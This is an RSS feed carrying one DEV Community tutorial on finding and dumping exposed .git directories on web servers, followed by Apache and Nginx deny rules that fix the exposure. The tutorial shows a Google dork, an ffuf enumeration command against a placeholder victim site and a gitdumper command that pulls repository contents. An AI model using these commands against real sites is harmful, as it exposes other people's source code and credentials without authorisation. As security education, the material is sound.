<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: k1ven</title>
    <description>The latest articles on DEV Community by k1ven (@k1ven).</description>
    <link>https://dev.to/k1ven</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1967386%2Fdf0f3805-f59b-4c65-9619-92542607c17c.jpg</url>
      <title>DEV Community: k1ven</title>
      <link>https://dev.to/k1ven</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/k1ven"/>
    <language>en</language>
    <item>
      <title>How to Explore an Exposed .git</title>
      <dc:creator>k1ven</dc:creator>
      <pubDate>Fri, 23 Aug 2024 05:03:33 +0000</pubDate>
      <link>https://dev.to/k1ven/how-to-explore-an-exposed-git-57m3</link>
      <guid>https://dev.to/k1ven/how-to-explore-an-exposed-git-57m3</guid>
      <description>&lt;h2&gt;
  
  
  What is git?
&lt;/h2&gt;

&lt;p&gt;Git is an open-source, distributed version control system (DVCS) that allows multiple developers to collaborate on a project by tracking changes to files and coordinating work. It enables users to create branches, merge changes, and revert to previous versions, making it a powerful tool for managing codebases of any size. With Git, each developer has a full copy of the repository, ensuring redundancy and enabling offline work. Its widespread adoption is driven by its flexibility, efficiency, and strong community support.&lt;/p&gt;

&lt;h2&gt;
  
  
  Potential Risks of Exposing a &lt;strong&gt;.git&lt;/strong&gt; Directory
&lt;/h2&gt;

&lt;p&gt;There are numerous risks associated with exposing a .git directory. For example, attackers can exploit this vulnerability to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Exposure of Sensitive Information:&lt;/strong&gt; Attackers can access the repository's history, including sensitive keys, credentials, and configuration files that might be stored in the repository. This could result in unauthorized access to other systems and services.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Project Cloning:&lt;/strong&gt; If the .git directory is exposed, attackers can clone the entire project, gaining access to all the code, including proprietary or confidential information. This can lead to intellectual property theft or misuse.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Commit History Inspection:&lt;/strong&gt; Attackers can inspect the commit history to find information that might have been accidentally committed, such as API keys, passwords, or other sensitive data that may have been removed but remains in the history.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reconstruction of Past States:&lt;/strong&gt; By accessing the .git directory, attackers can reconstruct the project's past states, potentially uncovering vulnerabilities that were fixed in later versions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Analysis of Development Practices:&lt;/strong&gt; Attackers can analyze your development practices, including how frequently commits are made, who is making them, and what changes are being implemented. This information can be used in social engineering attacks or to identify weaker points in your security posture.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Potential for Exploiting Security Vulnerabilities:&lt;/strong&gt; If the source code is exposed, attackers can search for vulnerabilities in the code that might not have been publicly disclosed, increasing the risk of targeted attacks.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How to find a exposed .git?
&lt;/h2&gt;

&lt;p&gt;There are several methods to identify an exposed .git directory. In this section, I will discuss two effective techniques: &lt;strong&gt;&lt;a href="https://www.googleguide.com/advanced_operators_reference.html" rel="noopener noreferrer"&gt;google dorks&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;directory enumeration&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Google Dorks
&lt;/h3&gt;

&lt;p&gt;Refers to advanced search queries that use Google's search engine to find specific information that is often hidden or not easily accessible through standard searches. These queries leverage Google’s powerful search capabilities to uncover sensitive data, exposed files, or vulnerabilities on websites.&lt;/p&gt;

&lt;p&gt;We can locate exposed .git directories using the &lt;code&gt;intext&lt;/code&gt; operator.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

intext:"Index of /.git"


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhjvn0ofkjzqvvwaqbo6f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhjvn0ofkjzqvvwaqbo6f.png" alt="websites with .git exposed"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Directory Enumeration
&lt;/h3&gt;

&lt;p&gt;Is a technique to discover hidden directories and files. This process involves systematically probing a website to identify paths and resources.&lt;/p&gt;

&lt;p&gt;There are many automated tools available for directory enumeration. In this example, I will demonstrate how to use the &lt;a href="https://github.com/ffuf/ffuf" rel="noopener noreferrer"&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/a&gt; tool.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

ffuf -u https://victim.com/FUZZ -w /path/to/wordlist


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://victim.com.br/FUZZ
 :: Wordlist         : FUZZ: /path/to/wordlist
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.git                    [Status: 200, Size: 1923, Words: 20, Lines: 10, Duration: 122ms]
.git/config             [Status: 200, Size: 221, Words: 29, Lines: 10, Duration: 92ms]
.git/HEAD               [Status: 200, Size: 198, Words: 2, Lines: 10, Duration: 26ms]


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;If we look at &lt;strong&gt;&lt;code&gt;.git/config&lt;/code&gt;&lt;/strong&gt;, we find something like:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://victim.com
git
fetch +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote origin
merge refs/heads/master


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  How to get files from .git?
&lt;/h2&gt;

&lt;p&gt;As previously mentioned, we can retrieve various files from the website. To accomplish this efficiently, we will use an automated tool to extract as many files as possible.&lt;/p&gt;
&lt;h3&gt;
  
  
  GitTools - Dumper
&lt;/h3&gt;

&lt;p&gt;This tool can be used to download as much as possible from the found .git repository from webservers which do not have directory listing enabled.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This tool has no 100% guaranty to completely recover the .git repository. Especially if the repository has been compressed into pack-files, it may fail.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Usage:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

bash ./gitdumper.py https://victim.com/.git/ output


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi9s48expyucldeyagtci.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi9s48expyucldeyagtci.png" alt="Gitdumper output"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We need to navigate to a specific version to view the files. Next, go to our folder and execute the following command:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

git checkout -- .


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fprywqk2ltyhhqygkh6lq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fprywqk2ltyhhqygkh6lq.png" alt="Git checkout result"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How to fix this?
&lt;/h2&gt;

&lt;p&gt;To mitigate this vulnerability, remove the .git folder from your web server or ensure that access to the .git directory is completely denied.&lt;/p&gt;

&lt;h3&gt;
  
  
  Apache
&lt;/h3&gt;

&lt;p&gt;Update &lt;strong&gt;httpd.conf&lt;/strong&gt; as follows:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&lt;p&gt;&amp;lt;DirectoryMatch "^/.*/.git/"&amp;gt;&lt;br&gt;
     deny all;&lt;br&gt;
&amp;lt;/DirectoryMatch&amp;gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Nginx&lt;br&gt;
&lt;/h3&gt;

&lt;p&gt;If you are using Nginx, add the following instructions to your &lt;strong&gt;nginx.conf&lt;/strong&gt; file:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&lt;p&gt;location ~ /.git/ {&lt;br&gt;
     deny all;&lt;br&gt;
}&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Conclusions&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;This is my first article; I hope you enjoyed it!&lt;br&gt;
Honorable mention to my friend &lt;a href="https://x.com/@Duk4s" rel="noopener noreferrer"&gt;@Duk4s&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExajR4am9ocDNraWVrdmx5bjF2ZjdyOWQyZDd4dzZ0dHJybzE5aGZhZiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/JMncp17zXFPc4/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExajR4am9ocDNraWVrdmx5bjF2ZjdyOWQyZDd4dzZ0dHJybzE5aGZhZiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/JMncp17zXFPc4/giphy.gif"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>redteam</category>
      <category>security</category>
      <category>owasp</category>
      <category>git</category>
    </item>
  </channel>
</rss>
